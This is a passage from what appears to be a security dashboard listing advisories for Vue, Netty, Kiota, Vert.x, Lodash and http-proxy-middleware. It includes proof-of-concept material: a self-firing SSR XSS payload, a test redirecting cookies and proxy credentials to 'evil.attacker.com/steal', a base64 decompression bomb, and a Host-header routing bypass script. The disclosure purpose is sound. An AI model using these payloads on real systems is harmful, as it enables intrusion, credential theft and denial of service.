PoC -- byte-for-byte Vue output</title></head> <body> <h3>Everything inside the <img> tag below was written to this file programmatically from the real return value of <code>ssrRenderAttrs()</code> in the actual installed <code>@vue/server-renderer@3.5.41</code> package. No HTML was hand-typed for the tag itself.</h3> <p>Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):</p> <pre id="vue-output-proof">${vueOutput.replace(/</g, '<')}</pre> <hr> <img${vueOutput}> </body> </html> `; const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html'; fs.writeFileSync(outPath, html); console.log('\nWrote', outPath); console.log('Bytes inside the <img...> tag are Vue\'s real, unmodified return value.'); ``` Opening that generated file in a real browser fires the payload automatically: <img width="1666" height="449" alt="poc5" src="https://github.com/user-attachments/assets/251bd830-634f-4cd0-bf79-849bbc07ec9a" /> Dev tools on that same page confirm the browser genuinely parsed three separate attributes (`x`, `src`, `onerror`), matching the on-page proof text that was written directly from Vue's real return value: <img width="1348" height="400" alt="poc6" src="https://github.com/user-attachments/assets/b19d6ff0-ecaa-45f3-9149-9f3d0d4faacb" /> Whether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM `setAttribute()` API, which validates the name against the HTML QName grammar and throws a `DOMException` for characters like `"` (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an `@vue/server-renderer` (SSR) issue. ## Impact This requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via `v-bind="object"` or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by `escapeHtml()`. Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario `isSSRSafeAttrName()` exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object). Where it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected `autofocus`/`onfocus` payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That's a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render. ## Suggested fix Add U+000D (carriage return) to `unsafeAttrCharRE` in `packages/shared/src/domAttrConfig.ts`: ```ts const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u000d\u0020]/ ``` Double-checking against the full WHATWG "ASCII whitespace" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that's exactly the kind of list that's easy to leave a gap in, which is what happened here. | |
| 7.1CVSS 3.1 | CVE-2026-33377
|
Resolved | 2026-05-13 | 5.6 ×95.5 ×205.4 ×14 | An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard. The user must have write access to the dashboard to escalate privilege. | |
| 7.1CVSS 3.1 | CVE-2026-42586
GHSA-rgrr-p7gp-5xj7 |
Resolved | 2026-05-13 | 5.6 ×25.5 ×185.4 ×12 | Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final. | |
| 7.0CVSS 4.0 | CVE-2025-11226
GHSA-25qh-j22f-pwp8 |
Not affected | 2025-10-01 | 5.5 ×205.4 ×14 | ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. | |
| 7.0CVSS 4.0 | CVE-2026-44503
GHSA-7j59-v9qr-6fq9 |
Resolved | 2026-05-14 | 5.7 ×45.6 ×95.5 ×205.4 ×14 | The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target. | |
| 7.0CVSS 4.0 | GHSA-7j59-v9qr-6fq9
CVE-2026-44503 |
Resolved | 2026-05-07 | 5.7 ×45.6 ×95.5 ×205.4 ×14 | ### Summary The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. This vulnerability is present in the RedirectHandlers for: https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go ### Details Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target. This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation. Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier: ``` boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme()); boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString()); if (!sameScheme || !sameHost) { requestBuilder.removeHeader("Authorization"); // BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed } ``` ### PoC 1. Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java 2. Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java With this content: ``` package com.microsoft.kiota.http.middleware; import static org.junit.jupiter.api.Assertions.*; import com.microsoft.kiota.http.KiotaClientFactory; import okhttp3.*; import okhttp3.mockwebserver.*; import org.junit.jupiter.api.Test; public class SecurityPoC { @Test void crossHostRedirectLeaksCookies() throws Exception { Request original = new Request.Builder() .url("http://trusted.example.com/api") .addHeader("Authorization", "Bearer token") .addHeader("Cookie", "session=SECRET") .addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==") .build(); Response redirect = new Response.Builder() .request(original).protocol(Protocol.HTTP_1_1) .code(302).message("Found") .header("Location", "http://evil.attacker.com/steal") .body(ResponseBody.create("", MediaType.parse("text/plain"))) .build(); Request result = new RedirectHandler().getRedirect(original, redirect); assertNotNull(result); assertEquals("evil.attacker.com", result.url().host()); assertNull(result.header("Authorization")); // stripped (good) assertEquals("session=SECRET", result.header("Cookie")); // LEAKED assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED } @Test void endToEndProof() throws Exception { var evil = new MockWebServer(); evil.start(); evil.enqueue(new MockResponse().setResponseCode(200)); var trusted = new MockWebServer(); trusted.start(); trusted.enqueue(new MockResponse().setResponseCode(302) .setHeader("Location", evil.url("/steal"))); OkHttpClient client = KiotaClientFactory.create( new Interceptor[]{new RedirectHandler()}).build(); client.newCall(new Request.Builder().url(trusted.url("/api")) .addHeader("Cookie", "session=SECRET").build()).execute(); trusted.takeRequest(); RecordedRequest captured = evil.takeRequest(); assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server evil.shutdown(); trusted.shutdown(); } } ``` 3. Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC" 4. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect. ### Impact The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type. Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request. Impact: - Session hijacking via leaked Cookie headers - Corporate proxy credential theft via leaked Proxy-Authorization - API key theft via leaked custom auth headers (X-API-Key, etc.) All consumers of kiota-java are affected, including Microsoft Graph SDK for Java. | |
| 6.9CVSS 4.0 | CVE-2024-52810
GHSA-hjwq-mjwj-4x6c |
Resolved | 2024-11-29 | 5.4 ×14 | @intlify/shared is a shared library for the intlify project. The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) as the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. This issue has been addressed in versions 9.14.2, and 10.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability. | |
| 6.9CVSS 4.0 | CVE-2025-13465
GHSA-xxjr-mmjv-4gpg |
Resolved | 2026-01-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | The _.unset and _.omit functions in Lodash are vulnerable to prototype pollution. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. The issue is patched from 4.17.23 to 4.18.0 depending on the package: lodash, lodash-es, and lodash-amd in 4.17.23, and the standalone lodash.unset and lodash.omit packages in 4.18.0. | |
| 6.9CVSS 4.0 | CVE-2025-58057
GHSA-3p8m-j85q-pgmj |
Resolved | 2025-09-04 | 5.5 ×205.4 ×14 | Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression. | |
| 6.9CVSS 4.0 | CVE-2026-1002
GHSA-cphf-4846-3xx9 |
Not affected | 2026-01-15 | 5.5 ×85.4 ×11 | The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI. The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 Steps to reproduce Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html Mitgation Disabling Static Handler cache fixes the issue. StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false); | |
| 6.9CVSS 4.0 | CVE-2026-107280
GHSA-f9m8-cv68-674w |
Resolved | 2026-10-07 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.13 and 2.16.1, ThreadSafeCookieStore validates Domain attributes with domain matching but does not reject public suffixes. A host beneath a suffix such as co.uk can set a cookie for that suffix, after which the shared cookie store sends it to unrelated hosts under the suffix. This can inject or overwrite session-relevant cookie values across origins. This issue is fixed in versions 3.0.13 and 2.16.1. | |
| 6.9CVSS 4.0 | CVE-2026-18401
|
Resolved | 2026-08-04 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | The non-blocking (asynchronous) JSON parser in jackson-core does not enforce the maxNumberLength constraint defined in StreamReadConstraints (default: 1000 characters). An attacker able to submit JSON to an application that uses the async parser API can supply a number token of arbitrary length, leading to excessive memory allocation and potential CPU exhaustion, resulting in a denial of service. The synchronous parser enforces this limit correctly, so the constraint is applied inconsistently depending on which parsing API the application uses. Root cause: the async parsing path in NonBlockingUtf8JsonParserBase and related classes never invokes the number length validation methods. Number parsing methods such as _finishNumberIntegralPart() accumulate digits into the TextBuffer without any length check, then call _valueComplete() to finalize the token. _valueComplete() does not call resetInt() or resetFloat(), which are the methods in ParserBase where validateIntegerLength() and validateFPLength() are performed. Because that validation step is skipped, maxNumberLength is never enforced on the async code path. Impact: an attacker sending a JSON document containing an arbitrarily long number to an application using the async parser (for example a Spring WebFlux or other reactive application) can cause unbounded allocation in the TextBuffer and an OutOfMemoryError. If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM may additionally be tied up in O(n^2) BigInteger parsing, causing CPU-based denial of service. No privileges or user interaction beyond the ability to submit data for parsing are required. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.5 and from 2.19.0 through 2.21.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.0.x. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-72hv-8253-57qq records the lower bound of the affected 2.x range as 2.0.0. | |
| 6.9CVSS 4.0 | CVE-2026-40895
|
Resolved | 2026-04-21 | 5.5 ×95.4 ×12 | follow-redirects is an open source, drop-in replacement for Node's `http` and `https` modules that automatically follows redirects. Prior to 1.16.0, when an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target. This vulnerability is fixed in 1.16.0. | |
| 6.9CVSS 4.0 | CVE-2026-50560
GHSA-563q-j3cm-6jxm |
Resolved | 2026-06-12 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty HTTP/2 max header size handling produces an attack similar to HTTP/2 Rapid Reset. There is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. When a client sends that setting to Netty, it appears that Netty will behave as follows: read the request; proxy the request to the origin; attempt to produce a response; and create an exception while writing the headers for the response. Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature. Versions 4.1.135.Final and 4.2.15.Final patch the issue. | |
| 6.9CVSS 4.0 | CVE-2026-55602
GHSA-64mm-vxmg-q3vj |
Resolved | 2026-06-22 | 5.6 ×95.5 ×205.4 ×14 | http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0. | |
| 6.9CVSS 4.0 | CVE-2026-59899
GHSA-q4f6-jm68-57ww |
Resolved | 2026-07-29 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, `HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque<CharSequence>` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final. | |
| 6.9CVSS 4.0 | CVE-2026-59900
GHSA-c69g-56f8-xwqj |
Resolved | 2026-07-29 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, Netty's HTTP/2-to-HTTP/1.x translation layer (`Http2StreamFrameToHttpObjectCodec` and `InboundHttp2ToHttpAdapter`) fails to deduplicate or validate `Host` headers when an HTTP/2 client supplies both the `:authority` pseudo-header and a literal `host` header in a single HEADERS frame. The translator maps `:authority` to `Host` and separately copies the literal `host` header, producing an `HttpRequest` object containing two `Host` headers with attacker-controlled differing values. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final. | |
| 6.9CVSS 4.0 | CVE-2026-6860
GHSA-3g76-f9xq-8vp6 |
Resolved | 2026-05-06 | 5.6 ×25.5 ×185.4 ×12 | A TCP client can perform a TLS handshake and present the server name extension with a server name that is accepted by a server wildcard name, e.g. if the server is configured with a certificate accepting *.example.com, any XYZ.example.com where xyz is a valid name can be used. | |
| 6.9CVSS 4.0 | CVE-2026-93451
GHSA-gwq9-9ffj-mvrv |
In triage | 2026-09-18 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | snappy-java through 1.1.10.8 contains a buffer overflow vulnerability in typed Snappy.uncompress*Array methods that allocate output arrays by dividing uncompressed length by element size but pass the undivided length to native code. Attackers controlling compressed input can cause misaligned length values to write past array bounds with attacker-controlled bytes, corrupting heap memory. | |
| 6.9CVSS 4.0 | GHSA-3g76-f9xq-8vp6
CVE-2026-6860 |
Resolved | 2026-05-09 | 5.6 ×25.5 ×185.4 ×12 | Potential unbounded server-side SNI `SslContext` cache growth in Vert.x TLS handling, with = resource-exhaustion / DoS impact. On affected versions, matching server-side SNI names are cached via `computeIfAbsent(serverName, ...)` in a serverName-keyed `SslContext` cache. The implementation differs slightly by branch, but the same sink appears to be present in released versions `4.3.4` through `5.0.11`: - `4.3.x`: `SSLHelper` - `4.4.x` / `4.5.x`: `SslChannelProvider` - `5.0.x` and current `master`: `SslContextProvider` When server-side SNI is enabled and wildcard or otherwise broad hostname mappings are used, an unauthenticated client can send many distinct matching SNI names and cause the server to retain increasing numbers of `SslContext` entries over time, leading to increasing memory consumption and possible DoS conditions. ## Steps to reproduce 1. Configure a Vert.x server with `setSsl(true)` and `setSni(true)`. 2. Use a keystore or mapping where many distinct SNI names match a wildcard or similarly broad rule. 3. Send repeated connections with distinct matching SNI values. 4. Observe that the SNI cache size grows with the number of unique matching names. ## What are the affected versions? Affected released versions confirmed on `origin`: - `4.3.4` through `4.3.8` - `4.4.0` through `4.4.9` - `4.5.0` through `4.5.26` - `5.0.0` through `5.0.11` Not affected by the same sink: - `4.0.x` through `4.2.x` - `4.3.0` through `4.3.3` | |
| 6.9CVSS 4.0 | GHSA-3p8m-j85q-pgmj
CVE-2025-58057 |
Resolved | 2025-09-03 | 5.5 ×205.4 ×14 | ### Summary With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. ### Details `BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. Tested on 4.1.118, but there were no changes to the decoder since. ### PoC Run this test case with `-Xmx1G`: ```java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import java.util.Base64; public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } } ``` Error: ``` Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11) ``` ### Impact DoS for anyone using `BrotliDecoder` on untrusted input. | |
| 6.9CVSS 4.0 | GHSA-563q-j3cm-6jxm
CVE-2026-50560 |
Resolved | 2026-06-15 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | ### Summary Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset. ### Details There is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. According to[ the RFC](https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings): “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.” When a client sends that setting to Netty, it appears that Netty will behave as follows: - Read the request - Proxy the request to the origin - Attempt to produce a response - Create an exception while writing the headers for the response Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature. ## Remediation When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server. ### Impact This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack. ## Credit Jonathan Looney (Engineering, Netflix) ## Contact Ashley Tolbert (Security, Netflix) - artolbert@netflix.com | |
| 6.9CVSS 4.0 | GHSA-64mm-vxmg-q3vj
CVE-2026-55602 |
Resolved | 2026-06-18 | 5.6 ×95.5 ×205.4 ×14 | # Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. # Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected public API: - `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend ## PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` ### File: `run.sh` ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` ### File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ 